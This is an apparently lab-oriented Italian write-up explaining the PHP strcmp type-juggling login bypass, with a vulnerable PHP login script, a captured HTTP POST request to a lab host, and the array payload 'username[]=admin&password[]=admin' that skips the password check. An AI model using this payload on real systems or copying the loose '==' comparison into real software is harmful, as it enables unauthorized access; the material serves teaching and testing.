tags: PHP_strcmp_Bypass PHP_Login_Bypass PHP_Bypass


La Vulnerabilità: strcmp Bypass (Type Juggling)

L’errore fatale è l’uso della funzione strcmp() combinata con l’operatore di confronto “debole” (==).

  • Come funziona strcmp($str1, $str2):

    • Restituisce 0 se le stringhe sono uguali.

    • Restituisce un numero diverso da 0 se sono diverse.

  • Il Bug di PHP: Se passi un Array ([]) invece di una stringa alla funzione strcmp, le versioni precedenti di PHP (fino alla 7.x e in alcuni casi 8.0) non sanno come gestirlo. Invece di fermarsi, la funzione restituisce NULL e genera un Warning.

  • La Magia del ==: Nel mondo “bizzarro” di PHP, se usi il doppio uguale (==) invece del triplo (===): NULL == 0 è VERO (True).

Ecco un esempio di codice vulnerabile:

require('config.php'); // Carica le credenziali vere (che non conosciamo)
 
if (!empty($_POST['username']) && !empty($_POST['password'])) {
    session_start();
    // CONTROLLO USERNAME
    if (strcmp($username, $_POST['username']) == 0) {
        // CONTROLLO PASSWORD
        if (strcmp($password, $_POST['password']) == 0) {
            $_SESSION['user_id'] = 1;
            header("Location: /upload.php"); // Successo!
        } else {
            print("<script>alert('Wrong Username or Password')</script>");
        }
    } else {
        print("<script>alert('Wrong Username or Password')</script>");
    }
}

La richiesta per questo codice PHP è la seguente:

POST /login/login.php HTTP/1.1
Host: 10.129.47.234
Content-Length: 33
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.129.47.234
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.47.234/login/login.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m02h014587ob3quito778loq2b
Connection: keep-alive
 
username=admin&password=panino

Ma se noi modifichiamo la sezione dati in questo modo:

username[]=admin&password[]=admin

Entriamo senza dover inserire password.